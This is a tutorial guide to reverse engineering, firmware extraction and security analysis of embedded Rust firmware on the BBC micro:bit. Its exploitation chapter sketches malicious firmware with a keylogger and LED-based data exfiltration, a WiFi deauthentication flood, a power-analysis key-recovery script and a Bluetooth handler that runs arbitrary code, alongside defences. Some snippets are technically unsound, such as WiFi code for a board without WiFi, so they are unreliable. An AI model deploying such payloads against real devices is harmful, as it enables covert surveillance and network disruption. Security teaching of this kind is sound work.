Contents

Hacking Embedded Rust micro:bit

A Complete Guide to Reverse Engineering and Analysis

Author: Kevin Thomas
Date: June 13, 2025
Version: 1.0

Table of Contents

Chapter 1: Introduction

What is the micro:bit?

The BBC micro:bit is an ARM Cortex-M4 based microcontroller board designed for education. The micro:bit v2 features: - **Nordic nRF52833** SoC (ARM Cortex-M4F @ 64MHz) - **512KB Flash memory** - **128KB SRAM** - **5x5 LED matrix display** - **2 programmable buttons** - **Built-in sensors** (accelerometer, magnetometer, temperature) - **Bluetooth 5.0 support**

Why Rust for Embedded?

Rust has become increasingly popular for embedded development due to: - **Memory safety** without garbage collection - **Zero-cost abstractions** - **Fearless concurrency** - **Rich type system** preventing common embedded bugs - **Growing ecosystem** with Embassy, RTIC, and other frameworks

Embassy Framework

Embassy is a modern async/await runtime for embedded Rust that provides: - **Async/await support** for embedded systems - **Hardware abstraction layers** for multiple chip families - **Time and timer management** - **Efficient task scheduling** - **Power management features**

Chapter 2: Setting Up the Analysis Environment

Required Tools

Basic Tools

```
# Rust toolchain
rustup target add thumbv7em-none-eabihf

# Binary analysis tools
cargo install cargo-binutils
rustup component add llvm-tools-preview

# Debugging tools
brew install openocd gdb-multiarch
cargo install probe-rs-cli
```

Advanced Analysis Tools

```
# Disassemblers
brew install radare2 ghidra

# Hex editors
brew install hexfiend

# Logic analyzers (for hardware analysis)
# Saleae Logic Pro, DSLogic, etc.
```

VS Code Configuration

Essential VS Code extensions for embedded Rust analysis: - **rust-analyzer** - Rust language server - **cortex-debug** - ARM Cortex-M debugging - **hex-editor** - Binary file inspection - **GitLens** - Version control analysis

Debug Configuration

```json
{
    "type": "cortex-debug",
    "request": "launch",
    "name": "Debug micro:bit",
    "cwd": "${workspaceFolder}",
    "executable": "./target/thumbv7em-none-eabihf/debug/display",
    "device": "nRF52833_xxAA",
    "svdFile": "./nrf52833.svd"
}
```

Project Structure Analysis

Understanding the typical Embassy project structure:

```
microbit-bsp/
  Cargo.toml            # Dependencies and build config
  memory.x              # Memory layout definitions
  build.rs              # Build script
  src/
    lib.rs              # Library entry point
    board.rs            # Hardware abstraction
    display/            # Display driver implementation
    motion/             # Sensor drivers
  examples/
    display/            # Example applications
      src/main.rs       # Application code
      Cargo.toml        # Example-specific config
```

Chapter 3: Binary Analysis Fundamentals

ELF Binary Structure

Embedded Rust produces ELF (Executable and Linkable Format) binaries with specific characteristics:

Key ELF Sections

- **.text** - Executable code
- **.rodata** - Read-only data (constants, strings)
- **.data** - Initialized global variables

- **.bss** - Uninitialized global variables
- **.vector_table** - Interrupt vector table
- **.ARM.exidx** - Exception handling data

Analyzing with objdump

```bash
# Disassemble the binary
arm-none-eabi-objdump -d target/thumbv7em-none-eabihf/debug/display

# Show section headers
arm-none-eabi-objdump -h target/thumbv7em-none-eabihf/debug/display

# Display symbol table
arm-none-eabi-nm target/thumbv7em-none-eabihf/debug/display
```

ARM Cortex-M4 Architecture

Instruction Set

The micro:bit uses the **Thumb-2 instruction set** which provides: - **16-bit and 32-bit instructions** for code density - **Conditional execution** - **Efficient function calls** with BL/BLX - **Load/store multiple** instructions

Key Registers

- **R0-R3** - Argument and return value registers
- **R4-R11** - Callee-saved registers
- **R12 (IP)** - Intra-procedure call register
- **R13 (SP)** - Stack pointer
- **R14 (LR)** - Link register
- **R15 (PC)** - Program counter

Exception Model

ARM Cortex-M implements a sophisticated exception system: - **Reset** - System startup - **NMI** - Non-maskable interrupt - **HardFault** - Serious system errors - **SVCall** - System service calls - **PendSV** - Pendable service calls - **SysTick** - System timer - **External IRQs** - Peripheral interrupts

---

Chapter 4: Memory Layout and Architecture

Physical Memory Map

The nRF52833 has a specific memory layout that we must understand for analysis:

```
0x00000000 - 0x0007FFFF  Flash Memory (512KB)
0x20000000 - 0x2001FFFF  SRAM (128KB)
0x40000000 - 0x5FFFFFFF  Peripheral Registers
0xE0000000 - 0xE00FFFFF  System Control Space
```

memory.x Configuration

The linker script defines the memory layout:

```
MEMORY
{
  /* NOTE 1 K = 1 KiByte = 1024 bytes */
  FLASH : ORIGIN = 0x00000000, LENGTH = 512K
  RAM : ORIGIN = 0x20000000, LENGTH = 128K
}
```

Runtime Memory Analysis

From our symbol table analysis:

```
_stext = 0x00000100      # Start of code
__etext = 0x0000ba88     # End of code
__sdata = 0x20000000     # Start of initialized data
__edata = 0x20000050     # End of initialized data
__sbss = 0x20000050      # Start of uninitialized data
__ebss = 0x20008224      # End of uninitialized data
_stack_start = 0x20020000 # Top of stack
```

Memory Usage Breakdown

- **Code size**: ~47KB (0xba88 - 0x100)
- **Initialized data**: 80 bytes
- **BSS**: ~33KB
- **Available stack**: ~96KB
- **Heap**: Not used (embedded systems typically avoid dynamic allocation)

Stack Analysis

Embassy uses a single stack model with careful stack management: - **Stack grows downward** from 0x20020000 - **Stack overflow protection** via MPU (if enabled) - **Async tasks share the same stack** (cooperative multitasking)

Chapter 5: Symbol Table Analysis

Symbol Naming Conventions

Rust uses name mangling to encode type information in symbols. Understanding these patterns is crucial for analysis:

Function Symbols

```
_ZN<length><namespace><length><function><hash>E
```

Example: `_ZN30microbit_async_display_example17show_button_press17hf2faf9b7964ec024E` - `30` - Length of namespace "microbit_async_display_example" - `17` - Length of function name "show_button_press"
- `h...` - Hash for disambiguation

Key Application Symbols

Main Application Flow

```
main @ 0x00000ca0                    # Entry point
__cortex_m_rt_main @ 0x00000ca8      # Runtime initialization
__embassy_main @ 0x00000c7c          # Embassy main task
____embassy_main_task @ 0x00000c62   # Application task
```

Button Handling

```
handle_button_a_press @ 0x00000c2a   # Button A handler
handle_button_b_press @ 0x00000c46   # Button B handler
show_button_press @ 0x00000bec       # Shared display logic
```

Display System

```
LedMatrix::new @ 0x00003fca          # Matrix initialization
LedMatrix::display @ 0x00001e8c      # Show content
LedMatrix::scroll @ 0x00001b96       # Scroll text
LedMatrix::animate @ 0x00001c98      # Play animations
LedMatrix::clear @ 0x00001982        # Clear display
```

Static Data Analysis

Global Variables

```
_EMBASSY_DEVICE_PERIPHERALS @ 0x2000021c  # Device singleton
_SEGGER_RTT @ 0x20000008                  # RTT debug buffer
GPIOTE channel wakers @ 0x2000005c       # GPIO event handlers
Task arena @ 0x20000220                  # Async task memory
```

String Literals and Constants

The binary contains various string literals used for debugging: - Error messages for panic conditions
- DEFMT log format strings
- Hardware register names - Function identifiers

Chapter 6: Embassy Async Framework Deep Dive

Async Runtime Architecture

Embassy implements a sophisticated async runtime for embedded systems without requiring an operating system.

Core Components

Executor

```
// Simplified Embassy Executor
struct Executor {
    run_queue: RunQueue,        # Ready tasks
    timer_queue: TimerQueue,    # Sleeping tasks
    pender: Pender,            # Wake mechanism
}
```

Key executor functions in our binary: - `Executor::new` @ 0x0000984a - `Executor::spawn` @ 0x00009868
- `Executor::poll` @ 0x0000987a

Task Management

```
struct TaskPool<F, const N: usize> {
    pool: [AvailableTask<F>; N],
}
```

- `TaskPool::new` @ 0x00000dc4
- `TaskPool::spawn_impl` @ 0x00000d56
- `AvailableTask::claim` @ 0x00000e44

Spawner The spawner allows creating new async tasks: - `Spawner::new` @ 0x00009980 - `Spawner::spawn` @ 0x00000684 - `SpawnToken::new` @ 0x0000062c

Wake System

Embassy uses a sophisticated wake system to handle async task scheduling:

Waker Implementation

- `Waker::from_task` @ 0x00009688
- `task_from_waker` @ 0x000096a8

- Wake vtable @ 0x0000e3ac

Atomic Operations Embassy relies heavily on atomic operations for thread-safe task management: - `AtomicPtr::fetch_update` @ 0x00008ca2 - `AtomicBool::swap` @ 0x00008764 - `atomic_compare_exchange_weak` @ 0x00008eec

Time Management

Duration and Instant

```
struct Duration { ticks: u64 }
struct Instant { ticks: u64 }
```

Key time functions: - `Instant::now` @ 0x00008446 - `Duration::from_micros` @ 0x00008324 - `Timer::after` @ 0x00008572

RTC Driver

Embassy uses the nRF52's RTC peripheral for precise timing: - `RtcDriver::init` @ 0x00006884 - `RtcDriver::set_alarm` @ 0x00006d78 - `RtcDriver::on_interrupt` @ 0x000069f2

Chapter 7: Hardware Abstraction Layer

Embassy-nRF HAL

The Embassy nRF HAL provides safe abstractions over the Nordic nRF52 hardware.

Peripheral Access

Device Peripherals Structure

```
struct Peripherals {
    P0_00: embassy_nrf::chip::peripherals::P0_00,
    P0_01: embassy_nrf::chip::peripherals::P0_01,
    // ... all GPIO pins
    GPIOTE: embassy_nrf::chip::peripherals::GPIOTE,
    TIMER0: embassy_nrf::chip::peripherals::TIMER0,
    // ... all peripherals
}
```

Peripheral access functions: - `Peripherals::take` @ 0x00007216 - `Peripherals::steal` @ 0x00007264

Pin Configuration Each GPIO pin has associated functions:

```
P0_11::steal @ 0x00006156   # Button A
P0_14::steal @ 0x00006162   # Button B
P0_21::steal @ 0x00006186   # LED matrix pins
P0_22::steal @ 0x0000618c
P0_28::steal @ 0x000061b0
```

GPIO Abstraction

Pin Types Embassy provides multiple pin types for different use cases:

Flex Pin

```
struct Flex<'d, T: Pin> {
    pin: PeripheralRef<'d, T>,
}
```

- `Flex::new` @ 0x00004518
- `Flex::set_as_input` @ 0x000045ca
- `Flex::set_as_output` @ 0x00004610
- `Flex::set_high` @ 0x00004848
- `Flex::set_low` @ 0x0000485c

Input Pin

```rust
struct Input<'d, T: Pin> {
    pin: Flex<'d, T>,
}
```

- `Input::new` @ 0x00004532
- `Input::wait_for_low` @ 0x000051ee

Output Pin

```rust
struct Output<'d, T: Pin> {
    pin: Flex<'d, T>,
}
```

- `Output::new` @ 0x0000455a
- `Output::set_high` @ 0x000046fa
- `Output::set_low` @ 0x0000470a

GPIOTE (GPIO Tasks and Events)

GPIOTE enables efficient GPIO handling through hardware events rather than polling.

Port Input Future

```rust
struct PortInputFuture<'d> {
    pin: u8,
    polarity: Polarity,
    // ...
}
```

- `PortInputFuture::new` @ 0x000006fa
- `PortInputFuture::poll` @ 0x0000513a
- GPIOTE interrupt handler @ 0x000059ea

Event Handling

- `handle_gpiote_interrupt` @ 0x00004cca
- Channel wakers @ 0x2000005c (static allocation)
- Port wakers @ 0x2000009c (static allocation)

Chapter 8: GPIO and Display System

micro:bit LED Matrix

The micro:bit's 5x5 LED matrix is controlled through a **charlieplexing** technique using GPIO pins.

Hardware Configuration

Pin Assignments Based on the symbol analysis, the LED matrix uses these GPIO pins: - **Row pins**: P0_21, P0_22, P0_15, P0_24, P0_19 - **Column pins**: P0_28, P0_11, P0_31, P1_05, P0_30

Charlieplexing Charlieplexing allows controlling 25 LEDs with only 10 pins by: 1. **Setting one pin HIGH** (row) 2. **Setting one pin LOW** (column)
3. **Setting all other pins to high-impedance** 4. **Rapidly scanning** through all combinations

Display Driver Implementation

LedMatrix Structure

```rust
struct LedMatrix<P, const ROWS: usize, const COLS: usize> {
    rows: [Output<'static, AnyPin>; ROWS],
    cols: [Output<'static, AnyPin>; COLS],
    brightness: Brightness,
    // ...
}
```

Core Functions

- `LedMatrix::new` @ 0x00003fca - Initialize matrix with pin assignments
- `LedMatrix::render` @ 0x000019f4 - Low-level LED control
- `LedMatrix::apply` @ 0x00001966 - Apply frame to display

Display Operations

- `LedMatrix::display` @ 0x00001e8c - Show static content
- `LedMatrix::scroll` @ 0x00001b96 - Scroll text across display

- `LedMatrix::animate` @ 0x00001c98 - Play animation sequences
- `LedMatrix::clear` @ 0x00001982 - Turn off all LEDs

Frame and Bitmap System

Frame Structure

```rust
struct Frame<const ROWS: usize, const COLS: usize> {
    data: [[bool; COLS]; ROWS],
}
```

- `Frame::new` @ 0x00002180
- `Frame::is_set` @ 0x000021ca
- `Frame::shift_left` @ 0x00002046
- `Frame::shift_right` @ 0x000020a4

Bitmap Operations

```rust
struct Bitmap {
    data: &'static [u8],
    width: usize,
    height: usize,
}
```

- `Bitmap::new` @ 0x00004030
- `Bitmap::shift_left` @ 0x000041bc
- `Bitmap::or` @ 0x00004270

Font Rendering

Character to Frame Conversion The display system includes a bitmap font for rendering text: - `char::into<Frame>` @ 0x00002728 - Convert character to 5x5 frame - `frame_5x5` @ 0x0000244a - 5x5 character bitmaps - Font bitmap data stored in flash memory

Text Processing

- String iteration and character processing
- Automatic spacing between characters
- Support for scrolling long text

Animation System

Animation Structure

```rust
struct Animation<T, const N: usize> {
    frames: [T; N],
    current: usize,
    // ...
}
```

- `Animation::new` @ 0x00001496
- `Animation::next` @ 0x000015aa

- `Animation::current` @ 0x000016a2

Chapter 9: Debugging and Runtime Analysis

DEFMT Logging System

Embassy applications typically use DEFMT for efficient logging over RTT (Real-Time Transfer).

RTT Configuration

```
// RTT channel configuration
static RTT_ENCODER: RttEncoder = RttEncoder::new();
static BUFFER: [u8; 8192] = [0; 8192];
```

RTT symbols in our binary: - `_SEGGER_RTT` @ 0x20000008 - RTT control block - `RTT_ENCODER` @ 0x20000055 - DEFMT encoder state - `BUFFER` @ 0x20008224 - 8KB logging buffer

Log Levels and Messages

The binary contains several predefined log messages: - **INFO**: "Application started, press buttons!" - **INFO**: "{} pressed" (button press notification) - **ERROR**: Various panic and error conditions - **WARN**: UICR programming warnings

DEFMT Implementation

- `defmt::export::fmt` @ 0x00002df0 - Format messages
- `defmt::export::write` @ 0x00003e5c - Write to RTT
- `acquire_and_header` @ 0x00009eac - Begin log entry
- Timestamp support @ 0x00008634

Panic Handling

Panic Infrastructure

Rust's panic system is implemented through: - `panic_probe` crate for RTT-based panic output - `rust_begin_unwind` @ 0x00002e4e - Panic entry point
- Hardware fault handlers (HardFault, etc.)

Fault Handlers

```
// Exception handlers
HardFault @ 0x0000ba80     # Hardware fault handler
DefaultHandler @ 0x00007782 # Default interrupt handler
```

GDB Debugging Challenges

Why GDB Struggles

Several factors make GDB debugging challenging:

1. **Heavy Optimization**

- Functions inlined aggressively
- Variables optimized away
- Control flow optimized

2. **Async Code Structure**
   - State machines generated by compiler
   - Closures embedded inline
   - Complex lifetime management
3. **Symbol Mangling**
   - Rust name mangling obscures function names
   - Generic instantiations create multiple symbols
   - Hash suffixes make symbols unstable

Effective Debugging Strategies

Using RTT Logging

```rust
// Add debug prints
defmt::info!("Button pressed at {:?}", embassy_time::Instant::now());
defmt::debug!("GPIO state: {}", pin.is_high());
```

Hardware Debugging

- **Logic analyzer** to observe GPIO signals
- **Oscilloscope** for timing analysis

- **Current measurement** for power analysis

Static Analysis

- Use `objdump` for disassembly
- Analyze symbol tables with `nm`
- Map out call graphs manually

Chapter 10: Advanced Reverse Engineering Techniques

Binary Patching

Modifying Behavior

Even without source code, we can modify the binary behavior:

NOP Instruction Patching Replace unwanted function calls with NOP instructions:

```
# Original: BL function_call
# Patched:  NOP; NOP
```

Branch Redirection Redirect conditional branches to change program flow:

```
# Original: BEQ success_path
# Patched:  BEQ error_path
```

Flash Programming

Use probe-rs or OpenOCD to write modified binary:

```
probe-rs run --chip nRF52833_xxAA modified_binary.elf
```

Dynamic Analysis

RTT Monitoring

Monitor runtime behavior through RTT:

```
# Use probe-rs for RTT output
probe-rs attach --chip nRF52833_xxAA --protocol swd

# Or use OpenOCD + RTT client
openocd -f interface/cmsis-dap.cfg -f target/nrf52.cfg &
telnet localhost 4444
```

Memory Inspection

Read memory contents during execution:

```
# Connect to OpenOCD
(gdb) target remote localhost:3333

# Read memory regions
(gdb) x/64x 0x20000000    # Read RAM
(gdb) x/64x 0x00000000    # Read Flash

# Examine variables
(gdb) print/x *((uint32_t*)0x2000021c)  # Device peripherals
```

Breakpoint Analysis

Set breakpoints on key functions:

```
# Set breakpoint on main function
(gdb) break *0x00000ca0

# Set breakpoint on button handler
(gdb) break *0x00000c2a

# Continue execution
(gdb) continue
```

Hardware Analysis

Logic Analyzer Setup

Connect logic analyzer to key signals: - **Button pins** (P0_11, P0_14) - Monitor button presses - **LED matrix pins** - Observe display refresh - **I2C/SPI** - Monitor sensor communication

Power Analysis

Monitor power consumption to understand system behavior: - **Current spikes** indicate active processing - **Sleep patterns** show power management - **Periodic activity** reveals timer-driven tasks

Side-Channel Analysis

Look for information leakage through: - **Timing variations** in cryptographic operations - **Power consumption patterns** revealing secrets - **Electromagnetic emissions** from digital switching

Firmware Extraction

Reading Flash Memory

Extract firmware for offline analysis:

```bash
# Using probe-rs
probe-rs dump --chip nRF52833_xxAA --address 0x00000000 --size 524288 firmware.bin

# Using OpenOCD
openocd -f interface/cmsis-dap.cfg -f target/nrf52.cfg \
  -c "init; dump_image firmware.bin 0x00000000 0x80000; exit"
```

Analyzing Extracted Firmware

```bash
# File type analysis
file firmware.bin
```

```bash
# Entropy analysis (look for encryption)
ent firmware.bin

# String extraction
strings firmware.bin | grep -i password

# Hexdump analysis
hexdump -C firmware.bin | head -50
```

Chapter 11: Security Analysis

Attack Surface Analysis

Physical Access Attacks

With physical access to the micro:bit, several attacks are possible:

Debug Interface Access

- **SWD/JTAG exposed** - Full system access via debug probe
- **No debug protection** - Flash readout protection (APPROTECT) not enabled
- **Firmware extraction** - Complete binary can be dumped

Hardware Modification

- **Pin access** - All GPIO pins exposed on edge connector
- **Power analysis** - Easy to monitor power consumption

- **Clock glitching** - Fault injection through power/clock manipulation

Software Vulnerabilities

Memory Safety Rust provides memory safety, but some risks remain: - **Unsafe blocks** - Direct memory manipulation - **Hardware abstraction bugs** - Incorrect register access - **Integer overflow** - Arithmetic operations may wrap

Timing Attacks

- **Button debouncing timing** - May reveal internal state
- **Display refresh timing** - Could leak information
- **Sleep timing** - Power management may be predictable

Cryptographic Analysis

No Built-in Encryption

The analyzed binary shows: - **No cryptographic libraries** linked - **Plain text storage** of all data - **No obfuscation** of sensitive constants

Bluetooth Security

If Bluetooth is enabled: - **Pairing vulnerabilities** - Default pairing mechanisms - **Data transmission** - Unencrypted communication - **Device fingerprinting** - Unique identifiers broadcast

Vulnerability Assessment

Buffer Overflow Protection

Rust prevents most buffer overflows, but risks exist:

```rust
// Safe: Bounds checking
let array = [1, 2, 3, 4, 5];
let value = array[index];  // Panics if index >= 5

// Unsafe: Direct memory access
unsafe {
    let ptr = array.as_ptr().add(index);
    let value = *ptr;  // No bounds checking!
}
```

Integer Overflow Handling

```rust
// Debug builds: Panic on overflow
let result = a + b;  // Panics if overflow in debug

// Release builds: Wrapping arithmetic
let result = a.wrapping_add(b);  // Wraps around on overflow
```

Stack Overflow Protection

- **Limited stack space** (~96KB available)
- **No stack canaries** in embedded Rust by default
- **Recursive calls** could exhaust stack

Secure Coding Recommendations

Enable Security Features

```toml
// Cargo.toml - Enable security features
[profile.release]
overflow-checks = true    # Check integer overflow
panic = "abort"          # Don't unwind on panic
```

Hardware Security Features

```rust
// Enable flash readout protection
// This prevents firmware extraction
embassy_nrf::init(Config {
    hfclk_source: HfclkSource::ExternalXtal,
    lfclk_source: LfclkSource::ExternalXtal,
    // Enable APPROTECT to prevent debug access
});
```

Secure Communication

```rust
// Use encrypted communication
use aes_gcm::{Aes128Gcm, Key, Nonce};
```

```rust
// Authenticate commands
use hmac::{Hmac, Mac};
use sha2::Sha256;
type HmacSha256 = Hmac<Sha256>;
```

Chapter 12: Practical Exploitation

Scenario-Based Attacks

Physical Device Compromise

Attack Scenario: Educational Environment An attacker gains temporary physical access to a micro:bit in a classroom setting.

Attack Steps: 1. **Connect debug probe** - Attach SWD debugger 2. **Extract firmware** - Dump flash memory contents 3. **Analyze offline** - Reverse engineer extracted firmware 4. **Develop payload** - Create malicious firmware
5. **Flash malicious code** - Overwrite original firmware 6. **Return device** - Leave compromised device in classroom

Impact: - **Data collection** - Log button presses, sensor data - **Network access** - If WiFi/Bluetooth enabled - **Covert channel** - Use LED display for data exfiltration

Mitigation Strategies:

```rust
// Enable flash protection
#[no_mangle]
static UICR_APPROTECT: u32 = 0x0000_0000;  // Enable protection

// Tamper detection
fn check_debug_enabled() -> bool {
    // Check if debugger is attached
    let dhcsr = unsafe { ptr::read_volatile(0xE000_EDF0 as *const u32) };
    (dhcsr & 0x1) != 0  // C_DEBUGEN bit
}
```

Bluetooth Exploitation

Attack Scenario: Wireless Proximity Attack Attacker uses Bluetooth to compromise nearby micro:bit devices.

Attack Vector:

```rust
// Vulnerable: No authentication
#[embassy_executor::task]
async fn bluetooth_handler() {
    loop {
        let command = bluetooth.receive().await;
        match command {
            Command::SetDisplay(data) => {
                display.show(data).await;  // No validation!
            }
            Command::RunCode(code) => {
```

```rust
                unsafe {
                    let func: fn() = mem::transmute(code.as_ptr());
                    func();  // Arbitrary code execution!
                }
            }
        }
    }
}
```

Secure Implementation:

```rust
use hmac::{Hmac, Mac};
use sha2::Sha256;

#[embassy_executor::task]
async fn secure_bluetooth_handler() {
    loop {
        let message = bluetooth.receive().await;

        // Verify HMAC
        let mut mac = Hmac::<Sha256>::new_from_slice(&SECRET_KEY)
            .expect("HMAC key");
        mac.update(&message.data);

        if mac.verify(&message.hmac).is_err() {
            defmt::warn!("Invalid message authentication");
            continue;
        }

        // Process authenticated message
        handle_secure_command(message.data).await;
    }
}
```

Side-Channel Attacks

Power Analysis Attack Monitor power consumption to extract secrets:

```python
# Power analysis setup
import numpy as np
import scipy.signal

def power_analysis_attack(power_traces, plaintexts):
    """Simple CPA attack implementation"""
    num_traces = len(power_traces)
```

```python
    num_samples = len(power_traces[0])

    # Generate hypothetical power consumption
    hypotheses = np.zeros((256, num_traces))
    for key_guess in range(256):
        for trace_idx in range(num_traces):
            # S-box lookup (if AES was implemented)
            sbox_output = sbox[plaintexts[trace_idx] ^ key_guess]
            hypotheses[key_guess][trace_idx] = hamming_weight(sbox_output)

    # Calculate correlation coefficients
    correlations = np.zeros((256, num_samples))
    for key_guess in range(256):
        for sample_idx in range(num_samples):
            power_sample = power_traces[:, sample_idx]
            hypothesis = hypotheses[key_guess]
            correlations[key_guess][sample_idx] = np.corrcoef(
                power_sample, hypothesis)[0, 1]

    # Find key with highest correlation
    max_correlation = np.max(np.abs(correlations), axis=1)
    recovered_key = np.argmax(max_correlation)

    return recovered_key
```

Timing Attack on Button Debouncing

```rust
// Vulnerable: Timing-dependent button processing
async fn vulnerable_button_handler() {
    let start_time = Instant::now();

    if button_a.is_pressed() {
        // Variable timing based on secret state
        if secret_condition {
            Timer::after(Duration::from_millis(10)).await;
        }
        process_button_a().await;
    }

    let processing_time = start_time.elapsed();
    // Timing reveals secret_condition state!
}

// Secure: Constant-time processing
```

```rust
async fn secure_button_handler() {
    let start_time = Instant::now();

    if button_a.is_pressed() {
        let should_delay = secret_condition;

        process_button_a().await;

        // Always wait the same total time
        Timer::after(Duration::from_millis(10)).await;
    }
}
```

Developing Exploits

Custom Firmware Development

Malicious Payload Example

```rust
#![no_std]
#![no_main]

use embassy_executor::Spawner;
use embassy_nrf::{gpio, peripherals};
use embassy_time::{Duration, Timer};

// Malicious firmware that exfiltrates data via LED patterns

#[embassy_executor::main]
async fn main(spawner: Spawner) {
    let p = embassy_nrf::init(Default::default());

    // Initialize LED matrix for data exfiltration
    let display = setup_display(p).await;

    spawner.spawn(data_exfiltration_task(display)).unwrap();
    spawner.spawn(keylogger_task()).unwrap();
}

#[embassy_executor::task]
async fn data_exfiltration_task(mut display: LedMatrix) {
    loop {
        // Read stored keylog data
        let data = read_keylog();
```

```rust
        // Transmit via LED blink patterns
        for byte in data {
            transmit_byte_via_led(&mut display, byte).await;
        }

        Timer::after(Duration::from_secs(60)).await;
    }
}

async fn transmit_byte_via_led(display: &mut LedMatrix, byte: u8) {
    // Encode byte as LED blink pattern
    for bit in 0..8 {
        if (byte >> bit) & 1 == 1 {
            display.set_pixel(0, 0, true);  // LED on = bit 1
            Timer::after(Duration::from_millis(100)).await;
        } else {
            display.set_pixel(0, 0, false); // LED off = bit 0
            Timer::after(Duration::from_millis(100)).await;
        }
    }
}
```

Network-Based Attacks

WiFi Deauthentication (if WiFi enabled)

```rust
// Malicious WiFi beacon frame
const DEAUTH_FRAME: [u8; 26] = [
    0xc0, 0x00,                         // Frame control: Deauth
    0x00, 0x00,                         // Duration
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff,  // Destination: Broadcast
    0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc,  // Source: Fake AP
    0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc,  // BSSID: Fake AP
    0x00, 0x00,                         // Sequence number
    0x07, 0x00,                         // Reason: Class 3 frame from non-associated STA
];

#[embassy_executor::task]
async fn wifi_attack_task() {
    loop {
        // Send deauth frames to disrupt WiFi
        wifi_send_raw_frame(&DEAUTH_FRAME).await;
        Timer::after(Duration::from_millis(100)).await;
    }
```

```
}
```

Defense Strategies

Secure Boot Implementation

```rust
use ed25519_dalek::{PublicKey, Signature, Verifier};

const PUBLIC_KEY: [u8; 32] = [/* Embedded public key */];

fn verify_firmware_signature(firmware: &[u8], signature: &[u8]) -> bool {
    let public_key = PublicKey::from_bytes(&PUBLIC_KEY).unwrap();
    let signature = Signature::from_bytes(signature).unwrap();

    public_key.verify(firmware, &signature).is_ok()
}

#[no_mangle]
fn secure_boot_check() {
    let firmware_start = 0x1000 as *const u8;
    let firmware_size = 0x7f000;  // Adjust based on actual size
    let signature_addr = 0x80000 - 64;  // Signature at end of flash

    let firmware = unsafe {
        core::slice::from_raw_parts(firmware_start, firmware_size)
    };
    let signature = unsafe {
        core::slice::from_raw_parts(signature_addr as *const u8, 64)
    };

    if !verify_firmware_signature(firmware, signature) {
        // Firmware verification failed - halt system
        loop {
            cortex_m::asm::wfi();
        }
    }
}
```

Hardware Security Module Integration

```rust
// Use secure element for key storage
use atecc508a::{Atecc508a, SlotConfig};

async fn secure_communication_with_hsm() {
    let mut hsm = Atecc508a::new(i2c_bus).await;
```

```rust
    // Use HSM for ECDH key exchange
    let private_key_slot = 0;
    let public_key = hsm.gen_key(private_key_slot).await.unwrap();

    // Secure communication using HSM-derived keys
    let shared_secret = hsm.ecdh(private_key_slot, &peer_public_key)
        .await.unwrap();
}
```

Conclusion

This guide has provided a comprehensive overview of reverse engineering and security analysis techniques for embedded Rust applications on the micro:bit platform. Key takeaways include:

Technical Insights

- **Embassy framework** provides sophisticated async capabilities for embedded systems
- **Symbol table analysis** reveals detailed application structure and flow
- **Memory management** in embedded Rust follows predictable patterns
- **Hardware abstraction** layers provide security through type safety

Security Considerations

- **Physical access** remains the primary attack vector for embedded devices
- **Debug interfaces** should be protected in production devices
- **Side-channel attacks** are feasible with physical access
- **Secure coding practices** can mitigate many vulnerabilities

Defensive Strategies

- **Enable hardware security features** (APPROTECT, secure boot)
- **Implement secure communication** protocols with authentication
- **Use constant-time algorithms** to prevent timing attacks
- **Regular security audits** of embedded firmware

Future Directions

As embedded Rust continues to evolve, new security challenges and opportunities will emerge: - **Formal verification** tools for embedded Rust - **Hardware security modules** integration - **Post-quantum cryptography** for long-term security - **Zero-trust architectures** for IoT devices

The combination of Rust's memory safety guarantees and proper security practices can create highly secure embedded systems, but vigilance and continuous security assessment remain essential.

This document represents the state of embedded Rust security as of June 2025. Security landscapes evolve rapidly, and readers should consult current resources for the latest developments.